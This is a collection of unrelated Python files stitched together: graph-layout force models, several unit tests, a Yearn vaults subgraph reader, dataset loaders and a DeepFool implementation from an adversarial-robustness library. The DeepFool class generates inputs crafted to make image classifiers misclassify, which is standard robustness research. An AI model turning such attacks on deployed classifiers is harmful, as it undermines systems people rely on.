region.apply_force(nodes[i], repulsion, barnes_hut_theta)
def apply_gravity(repulsion, nodes, gravity, scaling_ratio):
"""
Iterate through the nodes or edges and apply the gravity directly to the node objects.
"""
for i in range(0, len(nodes)):
repulsion.apply_gravitation(nodes[i], gravity / scaling_ratio)
def apply_attraction(attraction, nodes, edges, edge_weight_influence):
# Optimization, since usually edgeWeightInfluence is 0 or 1, and pow is slow
if edge_weight_influence == 0:
for edge in edges:
attraction.apply(nodes[edge.node1], nodes[edge.node2], 1)
elif edge_weight_influence == 1:
for edge in edges:
attraction.apply(nodes[edge.node1], nodes[edge.node2], edge.weight)
else:
for edge in edges:
attraction.apply(nodes[edge.node1], nodes[edge.node2], pow(edge.weight, edge_weight_influence))
def get_repulsion(adjust_by_size, coefficient):
if adjust_by_size:
return LinRepulsionAntiCollision(coefficient)
else:
return LinearRepulsion(coefficient)
def get_strong_gravity(coefficient):
return StrongGravity(coefficient)
def get_attraction(log_attraction, distributed_attraction, adjust_by_size, coefficient):
if adjust_by_size:
if log_attraction:
if distributed_attraction:
return LogAttractionDegreeDistributedAntiCollision(coefficient)
else:
return LogAttractionAntiCollision(coefficient)
else:
if distributed_attraction:
return LinAttractionDegreeDistributedAntiCollision(coefficient)
else:
return LinAttractionAntiCollision(coefficient)
else:
if log_attraction:
if distributed_attraction:
return LogAttractionDegreeDistributed(coefficient)
else:
return LogAttraction(coefficient)
else:
if distributed_attraction:
return LinAttractionMassDistributed(coefficient)
else:
return LinAttraction(coefficient)
class AttractionForce:
def __init__(self, coefficient):
self.coefficient = coefficient
def __str__(self):
return str(self.__class__)
def apply(self, node1, node2, edge_weight):
"""
Model for node-node attraction.
This will adjust the dx and dy values of `node1` (and optionally `node2`).
"""
raise NotImplementedError
class RepulsionForce:
"""
Here are all the formulas for attraction and repulsion.
"""
def __init__(self, coefficient):
self.coefficient = coefficient
def __str__(self):
return str(self.__class__)
def apply_node_to_node(self, node1, node2):
"""
Model for node-node repulsion
"""
raise NotImplementedError
@staticmethod
def apply_approximation(self, node, region):
"""
Model for Barnes Hut approximation
"""
raise NotImplementedError
def apply_gravitation(self, node, gravity):
"""
Model for gravitation (anti-repulsion)
"""
raise NotImplementedError
class LinearRepulsion(RepulsionForce):
"""
Repulsion force: Linear
"""
def __init__(self, *args, **kwargs):
RepulsionForce.__init__(self, *args, **kwargs)
def __str__(self):
return RepulsionForce.__str__(self)
def apply_node_to_node(self, node1, node2):
x_dist = node1.x - node2.x
y_dist = node1.y - node2.y
distance2 = x_dist * x_dist + y_dist * y_dist # Distance squared
if distance2 > 0:
factor = self.coefficient * node1.mass * node2.mass / distance2
node1.dx += x_dist * factor
node1.dy += y_dist * factor
node2.dx -= x_dist * factor
node2.dy -= y_dist * factor
def apply_approximation(self, node, region):
x_dist = node.x - region.center_x
y_dist = node.y - region.center_y
distance = math.sqrt(x_dist ** 2 + y_dist ** 2)
if distance > 0:
# NB: factor = force / distance
factor = self.coefficient * node.mass * region.sum_mass / distance / distance
node.dx += x_dist * factor
node.dy += y_dist * factor
def apply_gravitation(self, node, gravity):
x_dist = node.x
y_dist = node.y
distance = math.sqrt(x_dist ** 2 + y_dist ** 2)
if distance > 0:
factor = self.coefficient * node.mass * gravity / distance
node.dx -= x_dist * factor
node.dy -= y_dist * factor
class LinRepulsionAntiCollision(RepulsionForce):
"""
Repulsion force: Strong Gravity (as a Repulsion Force because it is easier)
"""
def __init__(self, *args, **kwargs):
RepulsionForce.__init__(self, *args, **kwargs)
def __str__(self):
return RepulsionForce.__str__(self)
def apply_node_to_node(self, node1, node2):
x_dist = node1.x - node2.x
y_dist = node1.y - node2.y
distance = math.sqrt(x_dist ** 2 + y_dist ** 2) - node1.size - node2.size
if distance > 0:
factor = self.coefficient * node1.mass * node2.mass / distance / distance
node1.dx += x_dist * factor
node1.dy += y_dist * factor
node2.dx -= x_dist * factor
node2.dy -= y_dist * factor
if distance < 0:
factor = 100 * self.coefficient * node1.mass * node2.mass
node1.dx += x_dist * factor
node1.dy += y_dist * factor
node2.dx -= x_dist * factor
node2.dy -= y_dist * factor
def apply_approximation(self, node, region):
x_dist = node.x - region.center_x
y_dist = node.y - region.center_y
distance = math.sqrt(x_dist ** 2 + y_dist ** 2)
if distance > 0:
factor = self.coefficient * node.mass * region.sum_mass / distance / distance
node.dx += x_dist * factor
node.dy += y_dist * factor
if distance < 0:
factor = -self.coefficient * node.mass * region.sum_mass / distance
node.dx += x_dist * factor
node.dy += y_dist * factor
def apply_gravitation(self, node, gravity):
x_dist = node.x
y_dist = node.y
distance = math.sqrt(x_dist ** 2 + y_dist ** 2)
if distance > 0:
factor = self.coefficient * node.mass * gravity / distance
node.dx -= x_dist * factor
node.dy -= y_dist * factor
class StrongGravity(RepulsionForce):
"""
Strong gravity force function
"""
def __init__(self, *args, **kwargs):
RepulsionForce.__init__(self, *args, **kwargs)
def __str__(self):
return RepulsionForce.__str__(self)
def apply_node_to_node(self, node1, node2):
"""
Not Relevant
"""
pass
@staticmethod
def apply_approximation(self, node, region):
"""
Not Relevant
"""
pass
def apply_gravitation(self, node, gravity):
x_dist = node.x
y_dist = node.y
distance = math.sqrt(x_dist * x_dist + y_dist * y_dist)
if distance > 0:
# NB: factor = force / distance
factor = self.coefficient * node.mass * gravity
node.dx -= x_dist * factor
node.dy -= y_dist * factor
class LinAttraction(AttractionForce):
def __init__(self, *args, **kwargs):
AttractionForce.__init__(self, *args, **kwargs)
def __str__(self):
return AttractionForce.__str__(self)
def apply(self, node1, node2, edge_weight):
x_dist = node1.x - node2.x
y_dist = node1.y - node2.y
factor = -self.coefficient * edge_weight
node1.dx += x_dist * factor
node1.dy += y_dist * factor
node2.dx -= x_dist * factor
node2.dy -= y_dist * factor
class LinAttractionMassDistributed(AttractionForce):
"""
Attraction force: Linear, distributed by mass (typically, degree)
"""
def __init__(self, *args, **kwargs):
AttractionForce.__init__(self, *args, **kwargs)
def __str__(self):
return AttractionForce.__str__(self)
def apply(self, node1, node2, edge_weight):
x_dist = node1.x - node2.x
y_dist = node1.y - node2.y
factor = -self.coefficient * edge_weight / node1.weight
node1.dx += x_dist * factor
node1.dy += y_dist * factor
node2.dx -= x_dist * factor
node2.dy -= y_dist * factor
class LinAttractionAntiCollision(AttractionForce):
"""
Attraction force: Linear, with Anti-Collision
"""
def __init__(self, *args, **kwargs):
AttractionForce.__init__(self, *args, **kwargs)
def __str__(self):
return AttractionForce.__str__(self)
def apply(self, node1, node2, edge_weight):
x_dist = node1.x - node2.x
y_dist = node1.y - node2.y
distance = math.sqrt(x_dist ** 2 + y_dist ** 2) - node1.size - node2.size
if distance > 0:
factor = -self.coefficient * edge_weight
node1.dx += x_dist * factor
node1.dy += y_dist * factor
node2.dx -= x_dist * factor
node2.dy -= y_dist * factor
class LinAttractionDegreeDistributedAntiCollision(AttractionForce):
"""
Attraction force: Linear, distributed by Degree, with Anti-Collision
"""
def __init__(self, *args, **kwargs):
AttractionForce.__init__(self, *args, **kwargs)
def __str__(self):
return AttractionForce.__str__(self)
def apply(self, node1, node2, edge_weight):
x_dist = node1.x - node2.x
y_dist = node1.y - node2.y
distance = math.sqrt(x_dist ** 2 + y_dist ** 2) - node1.size - node2.size
if distance > 0:
factor = -self.coefficient * edge_weight / node1.mass
node1.dx += x_dist * factor
node1.dy += y_dist * factor
node2.dx -= x_dist * factor
node2.dy -= y_dist * factor
class LogAttraction(AttractionForce):
"""
Attraction force: Logarithmic
"""
def __init__(self, *args, **kwargs):
AttractionForce.__init__(self, *args, **kwargs)
def __str__(self):
return AttractionForce.__str__(self)
def apply(self, node1, node2, edge_weight):
x_dist = node1.x - node2.x
y_dist = node1.y - node2.y
distance = math.sqrt(x_dist ** 2 + y_dist ** 2)
if distance > 0:
factor = -self.coefficient * edge_weight * math.log(1 + distance) / distance
node1.dx += x_dist * factor
node1.dy += y_dist * factor
node2.dx -= x_dist * factor
node2.dy -= y_dist * factor
class LogAttractionDegreeDistributed(AttractionForce):
"""
Attraction force: Linear, distributed by Degree
"""
def __init__(self, *args, **kwargs):
AttractionForce.__init__(self, *args, **kwargs)
def __str__(self):
return AttractionForce.__str__(self)
def apply(self, node1, node2, edge_weight):
x_dist = node1.x - node2.x
y_dist = node1.y - node2.y
distance = math.sqrt(x_dist ** 2 + y_dist ** 2)
if distance > 0:
factor = -self.coefficient * edge_weight * math.log(1 + distance) / distance / node1.mass
node1.dx += x_dist * factor
node1.dy += y_dist * factor
node2.dx -= x_dist * factor
node2.dy -= y_dist * factor
class LogAttractionAntiCollision(AttractionForce):
"""
Attraction force: Linear, distributed by Degree
"""
def __init__(self, *args, **kwargs):
AttractionForce.__init__(self, *args, **kwargs)
def __str__(self):
return AttractionForce.__str__(self)
def apply(self, node1, node2, edge_weight):
x_dist = node1.x - node2.x
y_dist = node1.y - node2.y
distance = math.sqrt(x_dist ** 2 + y_dist ** 2) - node1.size - node2.size
if distance > 0:
factor = -self.coefficient * edge_weight * math.log(1 + distance) / distance
node1.dx += x_dist * factor
node1.dy += y_dist * factor
node2.dx -= x_dist * factor
node2.dy -= y_dist * factor
class LogAttractionDegreeDistributedAntiCollision(AttractionForce):
"""
Attraction force: Linear, distributed by Degree, with Anti-Collision
"""
def __init__(self, *args, **kwargs):
AttractionForce.__init__(self, *args, **kwargs)
def __str__(self):
return AttractionForce.__str__(self)
def apply(self, node1, node2, edge_weight):
x_dist = node1.x - node2.x
y_dist = node1.y - node2.y
distance = math.sqrt(x_dist ** 2 + y_dist ** 2) - node1.size - node2.size
if distance > 0:
factor = -self.coefficient * edge_weight * math.log(1 + distance) / distance / node1.mass
node1.dx += x_dist * factor
node1.dy += y_dist * factor
node2.dx -= x_dist * factor
node2.dy -= y_dist * factor
|
491110
|
import pytest
from rgd.datastore import datastore
from rgd_3d import models
from rgd_3d.tasks.etl import read_point_cloud_file
from . import factories
@pytest.mark.parametrize(
'sample_file',
[
'topo.vtk',
],
)
@pytest.mark.django_db(transaction=True)
def test_point_cloud_etl(sample_file):
pc_file = factories.PointCloudFactory(
file__file__filename=sample_file,
file__file__from_path=datastore.fetch(sample_file),
)
entry = models.PointCloudMeta.objects.filter(source=pc_file).first()
assert entry.vtp_data is not None
# Testing that we can repopulate a point cloud entry
read_point_cloud_file(pc_file.id)
|
491132
|
from lib import transformationsLib
from lib._version import __version__
def test_init():
assert transformationsLib.__version__ == __version__
assert hasattr(transformationsLib, 'center_mean')
assert hasattr(transformationsLib, 'center_median')
assert hasattr(transformationsLib, 'centroid')
assert hasattr(transformationsLib, 'destination')
assert hasattr(transformationsLib, 'great_circle')
def test_centroid_linestring():
linestring1 = [[0, 0], [10, 0], [10, 10]]
linestring2 = [[4, 4], [14, 2], [14, 8]]
centroid1 = transformationsLib.centroid_linestring(linestring1)
centroid2 = transformationsLib.centroid_linestring(linestring2)
assert str(centroid1) == '{"coordinates": [7.5, 2.5], "type": "Point"}'
assert (
str(centroid2)
== '{"coordinates": [10.852076041405398, 3.740830416562159], "type": "Point"}'
)
def test_centroid_polygon():
polygon1 = [[0, 0], [10, 0], [10, 10], [0, 10], [0, 0]]
polygon2 = [[4, 4], [14, 2], [14, 8], [4, 6], [4, 4]]
centroid1 = transformationsLib.centroid_polygon(polygon1)
centroid2 = transformationsLib.centroid_polygon(polygon2)
assert str(centroid1) == '{"coordinates": [5.0, 5.0], "type": "Point"}'
assert (
str(centroid2) == '{"coordinates": [9.833333333333334, 5.0], "type": "Point"}'
)
def test_remove_end_polygon_point():
import geojson
feature1 = (
'{"type":"Polygon","coordinates":[[[30,10],[40,40],[20,40],[10,20],[30,10]]]}'
)
feature2 = (
'{"type":"Polygon","coordinates":[[[35,10],[45,45],[15,40],[10,20],[35,10]],'
'[[20,30],[35,35],[30,20],[20,30]]]}'
)
feature3 = (
'{"type":"MultiPolygon","coordinates":[[[[30,20],[45,40],[10,40],[30,20]]],'
'[[[15,5],[40,10],[10,20],[5,10],[15,5]]]]}'
)
feature4 = (
'{"type":"MultiPolygon","coordinates":[[[[40,40],[20,45],[45,30],[40,40]]],'
'[[[20,35],[10,30],[10,10],[30,5],[45,20],[20,35]],[[30,20],[20,15],[20,25],'
'[30,20]]]]}'
)
geojson1 = geojson.loads(feature1)
geojson2 = geojson.loads(feature2)
geojson3 = geojson.loads(feature3)
geojson4 = geojson.loads(feature4)
assert (
str(transformationsLib.remove_end_polygon_point(geojson1.coordinates))
== '[(30.0, 10.0), (40.0, 40.0), (20.0, 40.0), (10.0, 20.0)]'
)
assert (
str(transformationsLib.remove_end_polygon_point(geojson2.coordinates))
== '[(35.0, 10.0), (45.0, 45.0), (15.0, 40.0), (10.0, 20.0), (20.0, 30.0), '
'(35.0, 35.0), (30.0, 20.0)]'
)
assert (
str(transformationsLib.remove_end_polygon_point(geojson3.coordinates))
== '[(30.0, 20.0), (45.0, 40.0), (10.0, 40.0), (15.0, 5.0), (40.0, 10.0), '
'(10.0, 20.0), (5.0, 10.0)]'
)
assert (
str(transformationsLib.remove_end_polygon_point(geojson4.coordinates))
== '[(40.0, 40.0), (20.0, 45.0), (45.0, 30.0), (20.0, 35.0), (10.0, 30.0), '
'(10.0, 10.0), (30.0, 5.0), (45.0, 20.0), (30.0, 20.0), (20.0, 15.0), '
'(20.0, 25.0)]'
)
|
491150
|
import logging
from typing import TYPE_CHECKING, Any, Dict, List, Literal, Optional
from eth_utils import to_checksum_address
from rotkehlchen.accounting.structures.balance import Balance
from rotkehlchen.assets.asset import EthereumToken
from rotkehlchen.chain.ethereum.graph import Graph, format_query_indentation
from rotkehlchen.chain.ethereum.modules.yearn.vaults import get_usd_price_zero_if_error
from rotkehlchen.chain.ethereum.utils import token_normalized_value
from rotkehlchen.errors.asset import UnknownAsset
from rotkehlchen.logging import RotkehlchenLogsAdapter
from rotkehlchen.premium.premium import Premium
from rotkehlchen.types import ChecksumEthAddress, EthAddress, Timestamp
from rotkehlchen.user_messages import MessagesAggregator
from .structures import YearnVaultEvent
if TYPE_CHECKING:
from rotkehlchen.chain.ethereum.manager import EthereumManager
from rotkehlchen.db.dbhandler import DBHandler
logger = logging.getLogger(__name__)
log = RotkehlchenLogsAdapter(logger)
QUERY_USER_EVENTS = (
"""
accounts(
where: {{
id_in: $addresses
}}) {{
id
deposits(where:{{blockNumber_gte: $from_block, blockNumber_lte: $to_block }}){{
id
blockNumber
timestamp
tokenAmount
sharesMinted
vault {{
id
shareToken {{
id
symbol
name
}}
token {{
id
symbol
name
}}
}}
}}
withdrawals(where:{{blockNumber_gte: $from_block, blockNumber_lte: $to_block }}) {{
id
blockNumber
timestamp
tokenAmount
sharesBurnt
vault {{
id
shareToken {{
id
symbol
name
}}
token {{
id
symbol
name
}}
}}
}}
}}
}}
"""
)
class YearnVaultsV2Graph:
"""Reads Yearn vaults v2 information from the graph"""
def __init__(
self,
ethereum_manager: 'EthereumManager',
database: 'DBHandler',
premium: Optional[Premium],
msg_aggregator: MessagesAggregator,
) -> None:
self.ethereum = ethereum_manager
self.database = database
self.msg_aggregator = msg_aggregator
self.premium = premium
self.graph = Graph('https://api.thegraph.com/subgraphs/name/salazarguille/yearn-vaults-v2-subgraph-mainnet') # noqa: E501
def _process_event(
self,
events: List[Dict[str, Any]],
event_type: Literal['deposit', 'withdraw'],
) -> List[YearnVaultEvent]:
result = []
for entry in events:
# The id returned is a composition of hash + '-' + log_index
try:
_, tx_hash, log_index, _ = entry['id'].split('-')
except ValueError as e:
log.debug(
f'Failed to extract transaction hash and log index from {event_type} event '
f'in yearn vaults v2 graph query. Got {entry["id"]}. {str(e)}.',
)
self.msg_aggregator.add_warning(
f'Ignoring {event_type} in yearn vault V2. Failed to read id {entry["id"]}',
)
continue
try:
if event_type == 'deposit':
from_asset = EthereumToken(entry['vault']['token']['id'])
to_asset = EthereumToken(entry['vault']['shareToken']['id'])
elif event_type == 'withdraw':
from_asset = EthereumToken(entry['vault']['shareToken']['id'])
to_asset = EthereumToken(entry['vault']['token']['id'])
except UnknownAsset:
if event_type == 'deposit':
from_str = entry['vault']['token']['symbol']
to_str = entry['vault']['shareToken']['symbol']
elif event_type == 'withdraw':
from_str = entry['vault']['shareToken']['symbol']
to_str = entry['vault']['token']['symbol']
self.msg_aggregator.add_warning(
f'Ignoring {event_type} in yearn vaults V2 from {from_str} to '
f'{to_str} because the token is not recognized.',
)
continue
except KeyError as e:
log.debug(
f'Failed to extract token information from {event_type} event '
f'in yearn vaults v2 graph query. {str(e)}.',
)
self.msg_aggregator.add_warning(
f'Ignoring {event_type} {tx_hash} in yearn vault V2 Failed to decode'
f' remote information. ',
)
continue
try:
from_asset_usd_price = get_usd_price_zero_if_error(
asset=from_asset,
time=Timestamp(int(entry['timestamp']) // 1000),
location=f'yearn vault v2 deposit {tx_hash}',
msg_aggregator=self.msg_aggregator,
)
to_asset_usd_price = get_usd_price_zero_if_error(
asset=to_asset,
time=Timestamp(int(entry['timestamp']) // 1000),
location=f'yearn v2 vault deposit {tx_hash}',
msg_aggregator=self.msg_aggregator,
)
if event_type == 'deposit':
from_asset_amount = token_normalized_value(
token_amount=int(entry['tokenAmount']),
token=from_asset,
)
to_asset_amount = token_normalized_value(
token_amount=int(entry['sharesMinted']),
token=to_asset,
)
elif event_type == 'withdraw':
from_asset_amount = token_normalized_value(
token_amount=int(entry['sharesBurnt']),
token=from_asset,
)
to_asset_amount = token_normalized_value(
token_amount=int(entry['tokenAmount']),
token=to_asset,
)
result.append(YearnVaultEvent(
event_type=event_type,
block_number=int(entry['blockNumber']),
timestamp=Timestamp(int(entry['timestamp']) // 1000),
from_asset=from_asset,
from_value=Balance(
amount=from_asset_amount,
usd_value=from_asset_amount * from_asset_usd_price,
),
to_asset=to_asset,
to_value=Balance(
amount=to_asset_amount,
usd_value=to_asset_amount * to_asset_usd_price,
),
realized_pnl=None,
tx_hash=tx_hash,
log_index=int(log_index),
version=2,
))
except (KeyError, ValueError) as e:
msg = str(e)
if isinstance(e, KeyError):
msg = f'Missing key entry for {msg}.'
log.error(
f'Failed to read {event_type} from yearn vaults v2 graph because the response'
f' does not have the expected output.',
error=msg,
)
self.msg_aggregator.add_warning(
f'Ignoring {event_type} {tx_hash} in yearn vault V2 from {from_asset} to '
f'{to_asset} because the remote information is not correct.',
)
continue
return result
def get_all_events(
self,
addresses: List[EthAddress],
from_block: int,
to_block: int,
) -> Dict[ChecksumEthAddress, Dict[str, List[YearnVaultEvent]]]:
param_types = {
'$from_block': 'BigInt!',
'$to_block': 'BigInt!',
'$addresses': '[Bytes!]',
}
param_values = {
'from_block': from_block,
'to_block': to_block,
'addresses': addresses,
}
querystr = format_query_indentation(QUERY_USER_EVENTS.format())
query = self.graph.query(
querystr=querystr,
param_types=param_types,
param_values=param_values,
)
result: Dict[ChecksumEthAddress, Dict[str, List[YearnVaultEvent]]] = {}
for account in query['accounts']:
account_id = to_checksum_address(account['id'])
result[account_id] = {}
result[account_id]['deposits'] = self._process_event(account['deposits'], 'deposit')
result[account_id]['withdrawals'] = self._process_event(
account['withdrawals'],
'withdraw',
)
return result
|
491151
|
import os
from ptsr.data import common
from ptsr.data import srdata
import numpy as np
import torch
import torch.utils.data as data
import glob
class Benchmark(srdata.SRData):
def __init__(self, cfg, name='', train=True, benchmark=True):
super(Benchmark, self).__init__(
cfg, name=name, train=train, benchmark=True)
def _set_filesystem(self, dir_data):
self.apath = os.path.join(dir_data, 'sr_test')
print("self.scale = ", self.scale)
self.dir_hr = os.path.join(
self.apath, "HR/{}/x{}".format(self.name, self.scale[0]))
self.dir_lr = os.path.join(self.apath, "LRBI/{}/".format(self.name))
self.ext = ('.png', '.png')
def _scan(self):
names_hr = sorted(
glob.glob(os.path.join(self.dir_hr, '*' + self.ext[0]))
)
names_lr = [[] for _ in self.scale]
for f in names_hr:
filename, _ = os.path.splitext(os.path.basename(f))
filename = filename.replace("_HR_x{}".format(self.scale[0]), "")
for si, s in enumerate(self.scale):
names_lr[si].append(os.path.join(
self.dir_lr, 'x{}/{}_LRBI_x{}{}'.format(
s, filename, s, self.ext[1]
)
))
return names_hr, names_lr
|
491167
|
import tensorflow as tf
import numpy as np
from ares.attack.base import BatchAttack
from ares.attack.utils import get_xs_ph, get_ys_ph
class DeepFool(BatchAttack):
''' DeepFool. A white-box iterative optimization method. It needs to calculate the Jacobian of the logits with
relate to input, so that it only applies to tasks with small number of classification class.
- Supported distance metric: ``l_2``, ``l_inf``.
- Supported goal: ``ut``.
- References: https://arxiv.org/abs/1511.04599.
'''
def __init__(self, model, batch_size, distance_metric, session, iteration_callback=None):
''' Initialize DeepFool.
:param model: The model to attack. A ``ares.model.ClassifierWithLogits`` instance.
:param batch_size: Batch size for the ``batch_attack()`` method.
:param distance_metric: Adversarial distance metric. All supported values are ``'l_2'`` and ``'l_inf'``.
:param session: The ``tf.Session`` to run the attack in. The ``model`` should be loaded into this session.
:param iteration_callback: A function accept a ``xs`` ``tf.Tensor`` (the original examples) and a ``xs_adv``
``tf.Tensor`` (the adversarial examples for ``xs``). During ``batch_attack()``, this callback function would
be runned after each iteration, and its return value would be yielded back to the caller. By default,
``iteration_callback`` is ``None``.
'''
self.model, self.batch_size, self._session = model, batch_size, session
self.overshot = tf.Variable(0.02)
self.overshot_ph = tf.placeholder(tf.float32)
# placeholder for batch_attack's input
self.xs_ph = get_xs_ph(model, batch_size)
self.ys_ph = get_ys_ph(model, batch_size)
# store xs, xs_adv and ys in variables to reduce memory copy between tensorflow and python
# flatten shape of xs_ph
xs_flatten_shape = (batch_size, np.prod(self.model.x_shape))
# variable for the original example with shape of (batch_size, D)
self.xs_var = tf.Variable(tf.zeros(shape=xs_flatten_shape, dtype=self.model.x_dtype))
# variable for labels
self.ys_var = tf.Variable(tf.zeros(shape=(batch_size,), dtype=self.model.y_dtype))
# variable for the (hopefully) adversarial example with shape of (batch_size, D)
self.xs_adv_var = tf.Variable(tf.zeros(shape=xs_flatten_shape, dtype=self.model.x_dtype))
# get the adversarial example's logits and labels
logits, self.labels = self.model.logits_and_labels(
xs=tf.reshape(self.xs_adv_var, (batch_size,) + self.model.x_shape))
# we need to calculate the jacobian step by step
self.grads_var = tf.Variable(tf.zeros((self.batch_size, self.model.n_class, np.prod(self.model.x_shape)),
dtype=self.model.x_dtype))
# calculating jacobian would construct a large graph
self.assign_grads = [self.grads_var[:, i, :].assign(tf.gradients(logits[:, i], self.xs_adv_var)[0])
for i in range(self.model.n_class)]
# get the target label's logits and jacobian
k0s = tf.stack((tf.range(self.batch_size), self.ys_var), axis=1)
yk0s = tf.expand_dims(tf.gather_nd(logits, k0s), axis=1)
gradk0s = tf.expand_dims(tf.gather_nd(self.grads_var, k0s), axis=1)
fs = tf.abs(yk0s - logits)
ws = self.grads_var - gradk0s
ws_norm = tf.norm(ws, axis=-1)
# for index = k0, ws_norm = 0.0, fs = 0.0, ls = 0.0 / 0.0 = NaN, and tf.argmin would ignore NaN
ls = fs / ws_norm
ks = tf.argmin(ls, axis=1, output_type=self.model.y_dtype)
ks = tf.stack((tf.range(self.batch_size), ks), axis=1)
fsks = tf.gather_nd(fs, ks)
ws_normks = tf.gather_nd(ws_norm, ks)
if distance_metric == 'l_2':
wsks = tf.gather_nd(ws, ks)
rs = tf.reshape(fsks / tf.square(ws_normks), (self.batch_size, 1)) * wsks
elif distance_metric == 'l_inf':
ws_sign_ks = tf.gather_nd(tf.sign(ws), ks)
rs = tf.reshape(fsks / ws_normks, (self.batch_size, 1)) * ws_sign_ks
else:
raise NotImplementedError
# if the xs_adv is adversarial, we do early stop.
self.eqs = tf.equal(self.labels, self.ys_var)
flags = tf.reshape(tf.cast(self.eqs, self.model.x_dtype) * (1 + self.overshot), (self.batch_size, 1))
xs_adv_next = self.xs_adv_var + flags * rs
xs_adv_next = tf.clip_by_value(xs_adv_next, self.model.x_min, self.model.x_max)
self.update_xs_adv_step = self.xs_adv_var.assign(xs_adv_next)
self.setup = [
self.grads_var.initializer,
self.xs_var.assign(tf.reshape(self.xs_ph, self.xs_var.shape)),
self.xs_adv_var.assign(tf.reshape(self.xs_ph, self.xs_adv_var.shape)),
self.ys_var.assign(self.ys_ph),
]
self.setup_overshot = self.overshot.assign(self.overshot_ph)
self.iteration_callback = None
if iteration_callback is not None:
xs_model = tf.reshape(self.xs_var, (self.batch_size, *self.model.x_shape))
xs_adv_model = tf.reshape(self.xs_adv_var, (self.batch_size, *self.model.x_shape))
self.iteration_callback = iteration_callback(xs_model, xs_adv_model)
self.iteration = None
self.details = {}
def config(self, **kwargs):
''' (Re)config the attack.
:param iteration: Iteration count. An integer.
:param overshot: Overshot rate. A float number. Set to 0.02 by default.
'''
if 'iteration' in kwargs:
self.iteration = kwargs['iteration']
if 'overshot' in kwargs:
self._session.run(self.setup_overshot, feed_dict={self.overshot_ph: kwargs['overshot']})
def _batch_attack_generator(self, xs, ys, _):
''' Attack a batch of examples. It is a generator which yields back ``iteration_callback()``'s return value
after each iteration if the ``iteration_callback`` is not ``None``, and returns the adversarial examples.
'''
self._session.run(self.setup, feed_dict={self.xs_ph: xs, self.ys_ph: ys})
for _ in range(self.iteration):
for assign_grad in self.assign_grads:
self._session.run(assign_grad)
self._session.run(self.update_xs_adv_step)
succ = np.logical_not(self._session.run(self.eqs))
if self.iteration_callback is not None:
yield self._session.run(self.iteration_callback)
if np.all(succ): # early stop
break
self.details['success'] = succ
return self._session.run(self.xs_adv_var).reshape((self.batch_size,) + self.model.x_shape)
def batch_attack(self, xs, ys=None, ys_target=None):
''' Attack a batch of examples.
:return: When the ``iteration_callback`` is ``None``, return the generated adversarial examples. When the
``iteration_callback`` is not ``None``, return a generator, which yields back the callback's return value
after each iteration and returns the generated adversarial examples.
'''
g = self._batch_attack_generator(xs, ys, ys_target)
if self.iteration_callback is None:
try:
next(g)
except StopIteration as exp:
return exp.value
else:
return g
|
491174
|
import unittest
import zserio
from testutils import getZserioApi
class StructLongTemplateArgumentTest(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.api = getZserioApi(__file__, "templates.zs").struct_long_template_argument
def testReadWrite(self):
templ = self.api.TemplatedStruct_ThisIsVeryVeryVeryLongNamedStructure_ThisIsVery_(
self.api.ThisIsVeryVeryVeryLongNamedStructure("StringT"),
self.api.ThisIsVeryVeryVeryLongNamedStructure("StringU"),
self.api.ThisIsVeryVeryVeryLongNamedStructure("StringV")
)
structLongTemplateArgument = self.api.StructLongTemplateArgument(templ)
writer = zserio.BitStreamWriter()
structLongTemplateArgument.write(writer)
reader = zserio.BitStreamReader(writer.byte_array, writer.bitposition)
readStructLongTemplateArgument = self.api.StructLongTemplateArgument()
readStructLongTemplateArgument.read(reader)
self.assertEqual(structLongTemplateArgument, readStructLongTemplateArgument)
|
491195
|
from concurrent.futures import ThreadPoolExecutor
from dataclasses import dataclass
from queue import Queue
from typing import Any, Dict, List, Tuple, Callable, Union
import numpy as np
import torch
import torch.distributed as dist
from torch.utils.data.dataset import IterableDataset
from transformers import BertTokenizerFast
class DatasetForMatching(IterableDataset):
def __init__(
self,
file_path: str,
tokenizer: Union[BertTokenizerFast, str] = "bert-base-uncased",
):
self.data_file = open(file_path, "r", encoding="utf-8")
if isinstance(tokenizer, str):
self.tokenizer = BertTokenizerFast.from_pretrained(tokenizer)
else:
self.tokenizer = tokenizer
def process(self, input_line):
# Input file format:
# Example:
# A simple algorithm for Boolean operations on polygons|'|Geometric modelling based on simplicial chains|'|Boolean operations on general planar polygons|'|Reentrant polygon clipping|'|Plane-sweep algorithms for intersecting geometric figures|'|A new algorithm for computing Boolean operations on polygons An analysis and algorithm for polygon clipping|'|Set Membership Classification: A Unified Approach to Geometric Intersection Problems|'|Reentrant polygon clipping|'|Hidden surface removal using polygon area sorting|'|Polygon comparison using a graph representation|'|A New Concept and Method for Line Clipping
# Balanced Multifilter Banks for Multiple Description Coding|'|Balanced multiwavelets|'|On minimal lattice factorizations of symmetric-antisymmetric multifilterbanks|'|High-order balanced multiwavelets: theory, factorization, and design|'|Single-Trial Multiwavelet Coherence in Application to Neurophysiological Time Series|'|The application of multiwavelet filterbanks to image processing Armlets and balanced multiwavelets: flipping filter construction|'|Multiwavelet prefilters. II. Optimal orthogonal prefilters|'|Regularity of multiwavelets|'|Balanced GHM-like multiscaling functions|'|A new prefilter design for discrete multiwavelet transforms|'|Balanced multiwavelets with short filters
query_and_neighbors, key_and_neighbors = input_line.strip('\n').split('\t')[:2]
query_and_neighbors = query_and_neighbors.split('|\'|')
key_and_neighbors = key_and_neighbors.split('|\'|')
tokens_query_and_neighbors = self.tokenizer.batch_encode_plus(query_and_neighbors, add_special_tokens=False)[
'input_ids']
tokens_key_and_neighbors = self.tokenizer.batch_encode_plus(key_and_neighbors, add_special_tokens=False)[
'input_ids']
return tokens_query_and_neighbors, tokens_key_and_neighbors
def __iter__(self):
for line in self.data_file:
yield self.process(line)
@dataclass
class DataCollatorForMatching:
mlm: bool
neighbor_num: int
token_length: int
tokenizer: Union[BertTokenizerFast, str] = "bert-base-uncased"
mlm_probability: float = 0.15
random_seed: int = 42
def __post_init__(self):
if isinstance(self.tokenizer, str):
self.tokenizer = BertTokenizerFast.from_pretrained(self.tokenizer)
self.random_state = np.random.RandomState(seed=self.random_seed)
def __call__(self, samples: List[List[List[List[int]]]]) -> Dict[str, torch.Tensor]:
input_ids_query_and_neighbors_batch = []
attention_mask_query_and_neighbors_batch = []
mask_query_and_neighbors_batch = []
input_ids_key_and_neighbors_batch = []
attention_mask_key_and_neighbors_batch = []
mask_key_and_neighbors_batch = []
for i, sample in (enumerate(samples)):
input_ids_query_and_neighbors, attention_mask_query_and_neighbors, mask_query_and_neighbors, \
input_ids_key_and_neighbors, attention_mask_key_and_neighbors, mask_key_and_neighbors = self.create_training_sample(
sample)
